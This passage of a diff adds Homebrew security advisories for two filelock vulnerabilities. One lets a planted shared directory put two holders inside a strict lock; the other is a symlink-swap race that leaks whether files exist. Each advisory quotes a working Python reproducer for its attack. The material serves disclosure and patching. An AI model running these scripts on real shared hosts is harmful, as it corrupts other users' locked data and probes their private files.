`CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 6.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the other user must create the protocol directory before the lock user's first acquire on that path. That depends on the path being new, or on a reboot, a tmp cleaner or the documented `.rw` recovery having removed its tree; once planted, the rest needs no race. `I:H` (high integrity impact): two holders write whatever the lock protects, and for `SoftReadWriteLock` the lock user's process creates, replaces or deletes files named `HEAD`, `epoch` and `0000000000000000000N` in any directory the lock user can write. `A:H` (high availability impact): the owner of `.rw` can make the lock user's `read_lock(timeout=1)` spin at full CPU without end, cost 22 s per acquire, or pin 1 MiB of memory per planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1.\n\n## Scope and preconditions\n\n- The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first.\n- The other user gets there first: `.filelock` (strict) or `.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed.\n- For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one.\n- The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory.\n- The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWriteLock` half has no such counterpart: its redirected creates, renames and unlinks land outside the lock's own files.\n- A non-sticky directory writable by other users is outside the boundary below. There anyone who can create the directory can also rename the lock user's own tree aside, and no check inside the lock can tell that from a first use.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L1006) returns for any existing real directory, whatever its owner or mode. [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L128) calls it for both levels and does not look at directory ownership again. [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181) decides from the claim scan alone, and [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim as removed on release. The sibling site is [`OsFiles.prepare`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft_rw/_storage.py#L121-L133). Its `mkdir(mode=0o700)` takes effect only when it creates the directory, and its `lstat` check reads neither `st_uid` nor the permission bits. It runs once per instance, and every later `OsFiles` method takes a full path, with `O_NOFOLLOW` guarding only the last component.\n\n## Introduced\n\nThe strict site came with the claims protocol in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. The `SoftReadWriteLock` site came with the `.rw` tree itself in f9743288a288 (\"fix(soft-rw): replace the state mutex with a generation log\", #738, 2026-09-17), first released in 4.0.0. Both match the git tags; the advisory range starts at the earlier one.\n\n## Mechanism\n\nThe owner of a directory can unlink and rename every entry in it, whatever the entries' own owner and mode. A strict hold consists of two names, `intent-v1-.claim` and `held-v1-.claim`, in `.filelock/claims`. The sentinel (the lock file at ``) is permanent and says nothing about who holds. When the other user runs the equivalent of `mkdir -m 777 -p work.lock.filelock/claims` before the lock user first uses `work.lock`, every lock user acquire publishes its claims into a directory the other user can empty. Lock user process A acquires and holds. The other user unlinks both of A's claims; both `unlink` calls succeed, because write permission on the directory is enough.\n\nLock user process B calls `acquire()` while A is inside its critical section. `_attempt_doorway` starts with `if _read_existing_claims(...): return False`, which turns a contender away while a holder exists, but the scan is now empty. B publishes its own intent and held claims, sees only those in the later rescans, and wins.\n\nA is not told. A strict holder does not look at its claims between acquire and release, and on release `_unlink_owner_path_result` takes the `FileNotFoundError` for each missing claim as \"already removed\", so `_release` finishes without error. The break involves neither a `lifetime` nor a lease, and neither `break_lock()` nor `force_break()`. The benign path shows what the check is missing. When the lock user's first acquire creates the directories itself they are `0755` and owned by the lock user (umask `022`). The other user's `unlink` then fails with `EACCES`, its `rename` or `rmdir` of `work.lock.filelock` fails with `EPERM` under the sticky bit, and B raises `Timeout`.\n\n`OsFiles.prepare` has the same gap for `SoftReadWriteLock`. The code suppresses `EEXIST` from `mkdir(mode=0o700)`, and the check that follows looks only at `S_ISDIR` and `S_ISLNK`. The class docstring's protection against \"same-host different-UID users via `0o600` / `0o700` permissions\" therefore holds only for whoever gets there first. With the other user owning `/tmp/app.lock.rw`, `gen` and `holders` before the lock user first uses `SoftReadWriteLock(\"/tmp/app.lock\")`, the scanner observed the following, with the same two accounts.\n\n**Creates and renames redirected through a symlink.** The other user's tree holds a generation log (the record of who holds the lock, under `gen/`) naming a live writer, so the lock user polls. Once the lock user's record appears in `holders/` (its `prepare()` is over), the other user renames `gen` aside and puts a symlink to `/home/victim/project/.git`, a repository inside a `0700` directory, in its place. The lock user's `write_lock()` returns without error. By then `GenerationLog.commit()` has created `epoch`, `00000000000000000001` and `00000000000000000002` in `.git` and renamed a record over `.git/HEAD`, which now reads `\\nfilelock-rw/1\\ngeneration=2\\n`, owned by the lock user; `git status` answers `fatal: not a git repository`. With `holders` swapped instead, `Participant._sweep()` unlinks files with 32-hex-digit names in the target directory once they have stayed unchanged for `stale_threshold`. This needs no race: every later acquisition on an instance that has passed `prepare()` goes through the swapped `gen`.\n\n**Two writers, no `on_compromise`.** `OsFiles.read()` accepts any regular file, so the owner of `gen` writes snapshots itself. While lock user process V1 is inside `write_lock()`, the other user creates the next `gen/` naming no holder, and V2's `write_lock(timeout=2)` succeeds at once. A further forged generation naming both tokens keeps both heartbeats answering `ok`, because `Participant.heartbeat()` tests only `self.token in latest.members`; `compromise` was still `None` in both after the default 30 s heartbeat. The other user reads no lock user record at any point: listing `gen/` and `holders/` gives the generation and the tokens.\n\n**Hangs, memory growth and bare `OSError`s.** The protocol code treats every record in `gen/` and `holders/` as written by a cooperating peer, so the tree's owner can do several things. They can make `Participant.leave()` retry a refused commit without end (`read_lock(timeout=1)` spins at full CPU instead of raising `Timeout`). They can keep `GenerationLog._probe()` walking by appending records ahead of it (3 s of writes kept `read_lock(timeout=1)` busy for about 60 s). They can make every `acquire_write(timeout=1)` and `release()` on a free lock take about 22 s with 200 000 generation names hard-linked into a sticky `gen/` (a hard link is a second name for the same file), which `_list()` and `_compact_through()` walk again on each poll because `OsFiles.unlink()` swallows the `EPERM`.\n\nThey can also pin 1 MiB of the lock user's memory per sparse file planted in `holders/`, because `Ledger.observe()` keeps every swept record whole (2 000 hard links to one 1 MiB file: 2 028 MiB resident when `acquire_write()` returns). Under an address-space limit the sweep raises `MemoryError` inside the heartbeat thread, which nothing handles, so the record is not refreshed again. After `stale_threshold` a second lock user process gets the write lock while the first still has `compromise` `None`. And they can make every acquire of a free lock raise a bare `OSError` with a mode-`000` orphan in `holders/` or a symlink at `gen/HEAD`. None of these is reachable in a tree the lock user created itself: it is `0700` at all three levels and the other user's writes fail with `EACCES`.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-Q5VK5JEE`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport subprocess\nimport sys\nimport tempfile\n\n# the companions are passed with -c, so victim and attacker need no read access to /tmp/repro.d\nvictim_worker = open(\"/tmp/repro.d/victim_worker.py\").read()\nattacker_plant_directory = open(\"/tmp/repro.d/attacker_plant_directory.py\").read()\nattacker_remove_claims = open(\"/tmp/repro.d/attacker_remove_claims.py\").read()\nas_victim = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"-c\", victim_worker]\nas_attacker = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, \"-c\"]\n\n\ndef two_victims_contend_while_attacker_removes_claims(lock_path):\n claims = f\"{lock_path}.filelock/claims\"\n first = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n first_lines = [first.stdout.readline().strip()]\n claims_owner = pwd.getpwuid(os.stat(claims).st_uid).pw_name\n\n removal = subprocess.run([*as_attacker, attacker_remove_claims, lock_path], check=True, capture_output=True, text=True)\n\n # the first process has not been sent its line yet: it is still inside its critical section\n second = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n second_lines = [second.stdout.readline().strip()]\n\n second_lines += second.communicate(\"\\n\")[0].split()\n first_lines += first.communicate(\"\\n\")[0].split()\n print(f\" {claims} is owned by {claims_owner}\")\n print(f\" attacker, while the first victim process holds the lock: {'; '.join(removal.stdout.splitlines())}\")\n print(f\" first victim process: {first_lines}\")\n print(f\" second victim process, started while the first is inside: {second_lines}\")\n return first_lines, second_lines\n\n\n# set up: a root-owned, sticky, world-writable directory, like /tmp itself\nshared = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# control: the victim's first acquire creates control.lock.filelock/claims itself\nprint(\"CONTROL victim creates the protocol directories\")\n_, control_second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/control.lock\")\n\n# attack: the attacker creates work.lock.filelock/claims before the victim first uses work.lock\nprint(\"OBSERVED attacker creates the protocol directories first\")\nsubprocess.run([*as_attacker, attacker_plant_directory, f\"{shared}/work.lock\"], check=True)\nfirst, second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/work.lock\")\n\n# check: the second process must be kept out while the first is inside, as it is in the control round\ninside_and_released_cleanly = [\"acquired\", \"is_locked=True\", \"released\"]\ncontrol_excludes = control_second == [\"Timeout\"]\nboth_inside = first == second == inside_and_released_cleanly\nprint(f\"control_excludes={control_excludes} both_inside={both_inside}\")\nprint(\"BUG\" if control_excludes and both_inside else \"OK\")\n```\n\n**`repro.d/attacker_plant_directory.py`**\n\n```python\nimport os\nimport sys\n\nos.umask(0) # 0777: the victim must be able to publish its claims inside\nos.makedirs(f\"{sys.argv[1]}.filelock/claims\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\nfor name in sorted(os.listdir(claims)):\n try:\n os.unlink(f\"{claims}/{name}\")\n print(f\"removed {name}\")\n except PermissionError as error:\n print(f\"cannot remove {name}: {error.strerror}\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLockProtocolError, StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], timeout=1)\ntry:\n lock.acquire()\nexcept (Timeout, SoftFileLockProtocolError) as error:\n print(type(error).__name__, flush=True)\n sys.exit()\nprint(\"acquired\", flush=True)\n\nsys.stdin.readline() # the critical section: it lasts until the parent sends a line\n\nprint(f\"is_locked={lock.is_locked}\", flush=True)\nlock.release()\nprint(\"released\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other account (uid attacker)\n participant D as work.lock.filelock/claims (sticky /tmp)\n participant A as holder A (uid victim)\n participant B as contender B (uid victim)\n rect rgb(255, 214, 214)\n X->>D: mkdir -m 777 -p, before the lock user's first use\n A->>D: acquire(): directory exists, is a directory, adopted\n A->>D: publish intent-v1-.claim and held-v1-.claim\n X->>D: unlink both claims (owner of the directory may)\n B->>D: acquire(): scan finds no claims, publishes its own, wins\n Note over A,B: both inside, is_locked True in both\n A->>D: release(): claims missing, counted as removed, no error\n end\n Note over A,D: control: directory created by the lock user is 0755, the other account's unlink gets EACCES, B raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer (`victim` uid 1000, `attacker` uid 1001, lock `work.lock` in a root-owned `1777` directory under `/tmp`, `StrictSoftFileLock(path, timeout=1)`, Linux 6.1, CPython 3.14.8, overlayfs) runs the same contention twice. In the control round on `control.lock`, whose directories `victim` creates, it prints `claims is owned by victim`, the unlinks by `attacker` answer `Permission denied`, the first process prints `['acquired', 'is_locked=True', 'released']` and the second `['Timeout']`. In the observed round on `work.lock`, planted by `attacker`, it prints `claims is owned by attacker` and `removed held-v1-….claim; removed intent-v1-….claim`, and both processes print `['acquired', 'is_locked=True', 'released']`, the second having acquired before the first was let out. The verdict line reads `control_excludes=True both_inside=True` and then `BUG` after about 2 s. The scanner ran the variant that plants only the outer `.filelock` (then renames the `claims` of `victim` aside) by hand with the same result, and each `SoftReadWriteLock` effect listed under Mechanism in its own run with the same two accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression tests for both sites need a sticky `/tmp` of another UID and ran there.\n\n## Impact\n\nAnother local user who can create names in the lock's directory puts two processes of the lock user, root included, into the same `StrictSoftFileLock` critical section at a moment of the other user's choosing, with no exception or other signal to either. Two processes then modify whatever the lock protects at the same time.\n\nAgainst `SoftReadWriteLock` the same position decides when two writers, or a writer and readers, are inside together and keeps `compromise` silent in all of them. It also gets file operations made with the lock user's privileges (root's, for a root service) in any directory the lock user can write: a file named `HEAD` replaced, files named `epoch` and `0000000000000000000N` created, files with 32-hex-digit names deleted. The bytes written are filelock's own records, not content the other user chooses. It can keep the lock user's acquire or release running past any `timeout`, or grow the lock user's memory by 1 MiB per planted file. It is **not** a disclosure of the lock user's data, and it does not reach a path the lock user has already used while that tree still exists.\n\n## Workarounds\n\nKeep strict and soft read-write locks in a directory other users cannot write, rather than `/tmp` or another sticky shared directory. Where a shared directory is unavoidable, create `.filelock/claims` (or `.rw` with `gen` and `holders`) as the service user before any other account can, for example at install or boot, and check `stat -c %U` of an existing tree before the first use. A tmp cleaner, a reboot or the `.rw` recovery removes the tree and reopens the window. The kernel refuses a planted `0755` strict tree (the lock user's acquire fails with `PermissionError`), so an acquire that raises that error on a new path without a known cause is worth investigating.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-Q5VK5JEE`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory; later narrowed to this finding, with `ANT-2026-AD6SUOON`, `ANT-2026-SVFEYX89`, `ANT-2026-M9OPCLPB` and `ANT-2026-6BC3LKF9` moved to advisories of their own\n- 2026-10-16 01:31 UTC: fix PR #839 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-9c4x-gm8v-wgc4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112911" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-conda-lock-CVE-2026-112912.json b/advisories/BREW-conda-lock-CVE-2026-112912.json new file mode 100644 index 00000000000..2c4eeddf666 --- /dev/null +++ b/advisories/BREW-conda-lock-CVE-2026-112912.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-conda-lock-CVE-2026-112912", + "published": "2026-10-29T21:39:28Z", + "modified": "2026-10-29T21:39:28Z", + "upstream": [ + "GHSA-9j6q-wvj5-jgjg", + "CVE-2026-112912" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "conda-lock", + "purl": "pkg:brew/conda-lock" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "4.0.2_7" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@3.32.7" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "3.32.7", + "key": "pkg:pypi/filelock@3.32.7", + "resource": "filelock" + } + ] + }, + "summary": "filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker", + "details": "`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise.\n\nThat yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional**, \"a one-bit probe of a victim-only path\" that \"Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory\". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.\n\n## Scope and preconditions\n\n- The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run.\n- The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed).\n- The swap is practical only with a second CPU for the other user.\n- The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone.\n- The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.\n\n## Affected code\n\nScanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L63-L71); the [call from `SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L63) at the start of every poll.\n\n## Introduced\n\n[f2f7b86](https://github.com/tox-dev/filelock/commit/f2f7b8696426) \"fix: respect ACL write access when the owner write bit is absent\" ([#728](https://github.com/tox-dev/filelock/pull/728), 2026-09-08), first tag 3.32.6 (verified), appended the `os.access` call to the `not S_IWUSR` test. [#567](https://github.com/tox-dev/filelock/pull/567) (022394c, first tag 3.29.5) had changed the helper from `os.stat` to `os.lstat` so that a symlink planted at the lock path could not probe its target.\n\n## Mechanism\n\n`SoftFileLock._acquire` calls the helper first, once per `poll_interval` (0.05 s by default) for as long as the lock user waits. The helper runs `os.lstat(path)`. When the node has no `S_IWUSR` it runs `os.access(path, os.W_OK, effective_ids=...)` without `follow_symlinks=False`. On current Linux that is `faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS)`, which resolves a symlink. If that returns false, a second `os.lstat` confirms a node is still there and the helper raises `PermissionError`. The other user's planted file has mode `0466`: no owner-write bit, which sends the helper on to `os.access`, and other-writable, so that `os.access` on the file itself says yes. The other user alternates the file and a symlink at the path (`os.replace` of a fresh symlink, then `os.replace` of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).\n\nOne call of the helper then goes one of three ways. First, `lstat` sees the symlink (mode `0777` on Linux, `S_IWUSR` set), `os.access` is not called, the helper returns. Second, `lstat` sees the file and `os.access` sees the file: true, returns. Third, `lstat` sees the file and `os.access` sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises `PermissionError`. After a return, the `O_CREAT | O_EXCL | O_NOFOLLOW` open fails with `EEXIST` and the poll ends as \"lock is held\". `PermissionError` therefore comes only from the third way and only for a target the lock user cannot write, and it leaves `acquire()` at once instead of after the timeout.\n\nThe scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as `victim` (uid 1000, `0700` private directory). An existing file or directory of `victim`: 0 `PermissionError`. A missing name there gives 311 to 339. A `0444` file of `victim`: 433 to 460. `/etc/passwd` or `/etc/shadow`: 237 to 422. With root taking the lock the answer is plain existence, 0 for `/etc/shadow` and `/root/.bashrc`, 366 for a missing name under `/root`. A symlink alone at the path, without the swap, tells nothing (2 000 `Timeout` of 2 000 for both targets, then evicted as malformed after 2 s).\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-RQ91AXTW`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nVICTIM_JOB = \"/tmp/repro.d/victim_job.py\"\nATTACKER = \"/tmp/repro.d/attacker_swaps_lock_path.py\"\nprivate_dir = \"/tmp/victim-private\"\nshared_dir = \"/tmp/team-locks\"\nlock_path = shared_dir + \"/app.lock\"\nas_victim = dict(user=\"victim\", group=\"victim\", extra_groups=[])\nas_attacker = dict(user=\"attacker\", group=\"attacker\", extra_groups=[])\n\nassert len(os.sched_getaffinity(0)) >= 2, \"the attacker's swap needs a CPU of its own\"\n\n# set up: victim's 0700 directory holds \"present\" and no \"absent\"\nshutil.rmtree(private_dir, ignore_errors=True)\nos.mkdir(private_dir, 0o700)\nopen(private_dir + \"/present\", \"w\").close()\nshutil.chown(private_dir + \"/present\", \"victim\", \"victim\")\nshutil.chown(private_dir, \"victim\", \"victim\")\n\njob_ended_with = {}\nfor name in (\"present\", \"absent\"):\n probed_path = f\"{private_dir}/{name}\"\n attackers_stat = subprocess.run([\"stat\", probed_path], capture_output=True, text=True, **as_attacker)\n assert attackers_stat.returncode != 0, \"attacker can stat the probed path directly\"\n print(f\"CONTROL attacker's own look: {attackers_stat.stderr.strip()}\")\n\n # 0777 without the sticky bit: fs.protected_symlinks does not cover it\n shutil.rmtree(shared_dir, ignore_errors=True)\n os.mkdir(shared_dir)\n os.chmod(shared_dir, 0o777)\n\n # attack: the lock path keeps alternating between a held marker and a symlink to probed_path\n attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)\n deadline = time.monotonic() + 10\n while not os.path.lexists(lock_path):\n assert time.monotonic() < deadline, \"attacker did not plant the lock path\"\n time.sleep(0.01)\n\n started = time.monotonic()\n job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)\n waited = time.monotonic() - started\n attacker.kill()\n attacker.wait()\n\n job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1] # last line of the traceback\n print(f\"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); \"\n f\"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}\")\n\n# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart\ntimeout_where_present = job_ended_with[\"present\"].startswith(\"filelock._error.Timeout:\")\npermission_error_where_absent = job_ended_with[\"absent\"].startswith(\"PermissionError:\")\nprint(\"BUG\" if timeout_where_present and permission_error_where_absent else \"OK\")\n```\n\n**`repro.d/attacker_swaps_lock_path.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nlock_path, probed_path = sys.argv[1], sys.argv[2]\nheld_marker = lock_path + \".held\"\nstaged = lock_path + \".staged\"\n\nwith open(held_marker, \"w\") as marker:\n marker.write(\"1\\nanother-host\\n\") # pid 1 on another host: never judged stale, so the victim keeps polling\n# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself\nos.chmod(held_marker, 0o466)\n\ngive_up_at = time.monotonic() + 60\nwhile time.monotonic() < give_up_at:\n # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker\n os.symlink(probed_path, staged)\n os.replace(staged, lock_path)\n os.link(held_marker, staged)\n os.replace(staged, lock_path)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1], timeout=5):\n print(\"working under the lock\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other account (second CPU)\n participant L as app.lock in a 0777 non-sticky directory\n participant V as lock user: SoftFileLock(path, timeout=5)\n participant P as /home/victim/private (0700)\n A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)\n loop every few microseconds\n A->>L: os.replace(fresh symlink -> /home/victim/private/absent)\n A->>L: os.replace(hard link to the 0466 marker)\n end\n loop every poll_interval (0.05 s)\n V->>L: os.lstat -> regular file, no S_IWUSR\n rect rgb(255, 214, 214)\n V->>L: os.access(path, W_OK) lands on the symlink\n L->>P: resolved to /home/victim/private/absent with the lock user's permissions\n P-->>V: False (missing)\n V->>L: os.lstat -> a node is there\n V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s\n end\n end\n A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)\n```\n\n## Evidence\n\nThe scanner reproducer runs with `victim` uid 1000 owning `/tmp/victim-private` mode `0700` holding `present` and not `absent`; `attacker` uid 1001, no shared group; lock directory `/tmp/team-locks` root-owned `0777` without the sticky bit; `fs.protected_symlinks=1`; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed `CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied` and then `OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout ...`. For the other target it printed `CONTROL ... '/tmp/victim-private/absent': Permission denied` and `OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock'`, then `BUG`. The verdict requires the job for `present` to end in `Timeout` and the job for `absent` in `PermissionError`. In 40 runs a blocking acquire met its first `PermissionError` after 0.1 to 0.7 s.\n\nIn the maintainers' triage the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and checked on macOS that `os.access` there supports `follow_symlinks`, relevant to the platform note above.\n\n## Impact\n\nA local user 